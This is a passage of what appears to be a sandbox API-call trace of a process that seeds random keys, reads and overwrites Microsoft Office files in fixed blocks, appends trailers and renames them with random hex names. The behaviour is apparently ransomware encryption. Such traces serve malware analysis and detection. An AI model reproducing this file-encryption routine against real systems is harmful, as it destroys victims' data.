Flags=0x8, Size=0x20) returned 0x1cddb690 [0155.835] NtQuerySystemTime (in: CurrentTime=0x329ffca0 | out: CurrentTime=0x329ffca0*=132462177609682000) returned 0x0 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x317f4a00 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x31342221 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x219cb139 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x492a6842 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x5d126549 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x50ccbbd [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0xd9d93b1 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x8b34e19 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x11aa7754 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x5d24feea [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x73661342 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0xd1b4435 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x45fb363c [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x4b348cf7 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x5e3f32b7 [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x2f0611fd [0155.835] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x20db82ad [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x53202726 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x1b327e4a [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x43222f8f [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x37e60021 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x34ec4073 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x2e01eda7 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x22fb89bd [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x13c4753 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x6955efa9 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x44f1e6b [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0xd838765 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x64e44eb7 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x1558b5d8 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x71c88363 [0155.836] RtlRandomEx (in: Seed=0x329ffc90 | out: Seed=0x329ffc90) returned 0x50c356ea [0155.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6c0 [0155.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0155.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0155.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0155.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb690) returned 1 [0155.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42988200 [0155.847] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.847] ReadFile (in: hFile=0xe4c, lpBuffer=0x42988200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x329ffd00, lpOverlapped=0x0 | out: lpBuffer=0x42988200*, lpNumberOfBytesRead=0x329ffd00*=0x3c00, lpOverlapped=0x0) returned 1 [0155.944] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce188c0 [0155.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429a6280 [0155.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb870 [0155.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb870) returned 1 [0155.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce188c0) returned 1 [0155.947] WriteFile (hFile=0xe4c, lpBuffer=0x429a6280, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x329ffd00, lpOverlapped=0x0) [0194.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429a6280) returned 1 [0194.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42988200) returned 1 [0194.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d8b0 [0194.353] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.353] WriteFile (in: hFile=0xe4c, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x329ffdb0, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x329ffdb0*=0x10e, lpOverlapped=0x0) returned 1 [0202.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4660 [0202.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4660) returned 1 [0202.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x422f4660 [0202.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4690 [0202.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0202.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0202.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce5bfc0 [0202.976] sprintf (in: _Dest=0x1ce5bfc0, _Format="%c%c" | out: _Dest="bd") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfc2, _Format="%c%c" | out: _Dest="13") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfc4, _Format="%c%c" | out: _Dest="e3") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfc6, _Format="%c%c" | out: _Dest="39") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfc8, _Format="%c%c" | out: _Dest="a3") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfca, _Format="%c%c" | out: _Dest="0a") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfcc, _Format="%c%c" | out: _Dest="97") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfce, _Format="%c%c" | out: _Dest="5c") returned 2 [0202.976] sprintf (in: _Dest=0x1ce5bfd0, _Format="%c%c" | out: _Dest="e3") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfd2, _Format="%c%c" | out: _Dest="50") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfd4, _Format="%c%c" | out: _Dest="dc") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfd6, _Format="%c%c" | out: _Dest="0e") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfd8, _Format="%c%c" | out: _Dest="2b") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfda, _Format="%c%c" | out: _Dest="ce") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfdc, _Format="%c%c" | out: _Dest="43") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfde, _Format="%c%c" | out: _Dest="7b") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfe0, _Format="%c%c" | out: _Dest="bb") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfe2, _Format="%c%c" | out: _Dest="97") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfe4, _Format="%c%c" | out: _Dest="81") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfe6, _Format="%c%c" | out: _Dest="0a") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfe8, _Format="%c%c" | out: _Dest="d3") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfea, _Format="%c%c" | out: _Dest="59") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfec, _Format="%c%c" | out: _Dest="e4") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bfee, _Format="%c%c" | out: _Dest="ce") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bff0, _Format="%c%c" | out: _Dest="a3") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bff2, _Format="%c%c" | out: _Dest="8a") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bff4, _Format="%c%c" | out: _Dest="91") returned 2 [0202.977] sprintf (in: _Dest=0x1ce5bff6, _Format="%c%c" | out: _Dest="a1") returned 2 [0202.977] RtlInitAnsiString (in: DestinationString=0x329ffe28, SourceString="bd13e339a30a975ce350dc0e2bce437bbb97810ad359e4cea38a91a1" | out: DestinationString="bd13e339a30a975ce350dc0e2bce437bbb97810ad359e4cea38a91a1") [0202.977] RtlAnsiStringToUnicodeString (in: DestinationString=0x329ffdf8, SourceString="bd13e339a30a975ce350dc0e2bce437bbb97810ad359e4cea38a91a1", AllocateDestinationString=1 | out: DestinationString="bd13e339a30a975ce350dc0e2bce437bbb97810ad359e4cea38a91a1") returned 0x0 [0202.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ce5b1b0 [0202.978] wcscat (in: _Dest=0x431a4070, _Source="bd13e339a30a97" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97") returned="C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97" [0202.978] wcscat (in: _Dest=0x431a4070, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97.2f9b60" [0202.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97.2f9b60", NtPathName=0x329ffdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bd13e339a30a97.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x43130930 Thread: id = 2575 os_tid = 0x20a8 [0155.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml")) returned 0x20 [0155.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML", dwFileAttributes=0x20) returned 1 [0155.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a4 [0155.894] GetFileSizeEx (in: hFile=0x15a4, lpFileSize=0x32acf7a0 | out: lpFileSize=0x32acf7a0*=79676) returned 1 [0155.894] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x13738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.895] ReadFile (in: hFile=0x15a4, lpBuffer=0x32acf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32acf768, lpOverlapped=0x0 | out: lpBuffer=0x32acf720*, lpNumberOfBytesRead=0x32acf768*=0x4, lpOverlapped=0x0) returned 1 [0155.983] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0155.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb9c0 [0155.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb9f0 [0155.983] NtQuerySystemTime (in: CurrentTime=0x32acf660 | out: CurrentTime=0x32acf660*=132462177611086000) returned 0x0 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x6928ec3d [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x72f78563 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0xca70263 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x47c2ed41 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x52331d57 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x10ca6ee3 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x36c621c3 [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x6536389a [0155.983] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x336d360e [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x5a1b7d4f [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x33f64d06 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x54bd87a0 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x37b3f5e2 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x73e94bea [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x14562f82 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x658da7da [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x68aa2f3d [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x7499e7ca [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x3d4901b5 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x1eaedac4 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x9ff2750 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x3dc0f84a [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x5dee4b38 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x625232c0 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x36f73d14 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0xdaab6b1 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x3c036495 [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x4e4e8f8a [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x1dc7065e [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x14be0eb [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x3661e4ac [0155.984] RtlRandomEx (in: Seed=0x32acf650 | out: Seed=0x32acf650) returned 0x1249aa4c [0155.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba20 [0155.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce245a0 [0155.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba50 [0155.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce245a0) returned 1 [0155.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb9f0) returned 1 [0155.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0155.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429b16b0 [0155.998] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.998] ReadFile (in: hFile=0x15a4, lpBuffer=0x429b16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32acf6c0, lpOverlapped=0x0 | out: lpBuffer=0x429b16b0*, lpNumberOfBytesRead=0x32acf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0156.154] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18a50 [0156.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24820 [0156.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe10) returned 1 [0156.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429edaa0 [0156.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe10 [0156.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbed0 [0156.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbed0) returned 1 [0156.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24820) returned 1 [0156.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18a50) returned 1 [0156.156] WriteFile (hFile=0x15a4, lpBuffer=0x429edaa0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32acf6c0, lpOverlapped=0x0) [0186.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429edaa0) returned 1 [0186.835] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.835] ReadFile (in: hFile=0x15a4, lpBuffer=0x429b16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32acf6c0, lpOverlapped=0x0 | out: lpBuffer=0x429b16b0*, lpNumberOfBytesRead=0x32acf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.553] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0187.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced87f0 [0187.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced87f0) returned 1 [0187.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf16700 [0187.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced87f0 [0187.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0187.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0187.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0187.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.556] WriteFile (in: hFile=0x15a4, lpBuffer=0x1cf16700*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32acf6c0, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesWritten=0x32acf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0205.657] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0xfb3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.657] ReadFile (in: hFile=0x15a4, lpBuffer=0x429b16b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32acf6c0, lpOverlapped=0x0 | out: lpBuffer=0x429b16b0*, lpNumberOfBytesRead=0x32acf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.658] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0xfb3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0205.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b790) returned 1 [0205.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf16700 [0205.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0205.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0205.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0205.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.662] WriteFile (in: hFile=0x15a4, lpBuffer=0x1cf16700*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32acf6c0, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesWritten=0x32acf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0215.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105670 [0215.054] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.054] WriteFile (in: hFile=0x15a4, lpBuffer=0x1cebcd60*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x32acf770, lpOverlapped=0x0 | out: lpBuffer=0x1cebcd60*, lpNumberOfBytesWritten=0x32acf770*=0x148, lpOverlapped=0x0) returned 1 [0218.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0218.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0218.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264590) returned 1 [0218.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0218.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264530 [0218.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264530) returned 1 [0218.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0218.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431adca0 [0218.941] sprintf (in: _Dest=0x431adca0, _Format="%c%c" | out: _Dest="0a") returned 2 [0218.941] sprintf (in: _Dest=0x431adca2, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.941] sprintf (in: _Dest=0x431adca4, _Format="%c%c" | out: _Dest="86") returned 2 [0218.941] sprintf (in: _Dest=0x431adca6, _Format="%c%c" | out: _Dest="76") returned 2 [0218.941] sprintf (in: _Dest=0x431adca8, _Format="%c%c" | out: _Dest="9b") returned 2 [0218.941] sprintf (in: _Dest=0x431adcaa, _Format="%c%c" | out: _Dest="dd") returned 2 [0218.941] sprintf (in: _Dest=0x431adcac, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.942] sprintf (in: _Dest=0x431adcae, _Format="%c%c" | out: _Dest="68") returned 2 [0218.942] sprintf (in: _Dest=0x431adcb0, _Format="%c%c" | out: _Dest="c1") returned 2 [0218.942] sprintf (in: _Dest=0x431adcb2, _Format="%c%c" | out: _Dest="ec") returned 2 [0218.942] sprintf (in: _Dest=0x431adcb4, _Format="%c%c" | out: _Dest="60") returned 2 [0218.942] sprintf (in: _Dest=0x431adcb6, _Format="%c%c" | out: _Dest="95") returned 2 [0218.942] sprintf (in: _Dest=0x431adcb8, _Format="%c%c" | out: _Dest="67") returned 2 [0218.942] sprintf (in: _Dest=0x431adcba, _Format="%c%c" | out: _Dest="bb") returned 2 [0218.942] sprintf (in: _Dest=0x431adcbc, _Format="%c%c" | out: _Dest="7c") returned 2 [0218.942] sprintf (in: _Dest=0x431adcbe, _Format="%c%c" | out: _Dest="9b") returned 2 [0218.942] sprintf (in: _Dest=0x431adcc0, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.942] sprintf (in: _Dest=0x431adcc2, _Format="%c%c" | out: _Dest="13") returned 2 [0218.942] sprintf (in: _Dest=0x431adcc4, _Format="%c%c" | out: _Dest="5f") returned 2 [0218.942] sprintf (in: _Dest=0x431adcc6, _Format="%c%c" | out: _Dest="1d") returned 2 [0218.942] sprintf (in: _Dest=0x431adcc8, _Format="%c%c" | out: _Dest="52") returned 2 [0218.942] sprintf 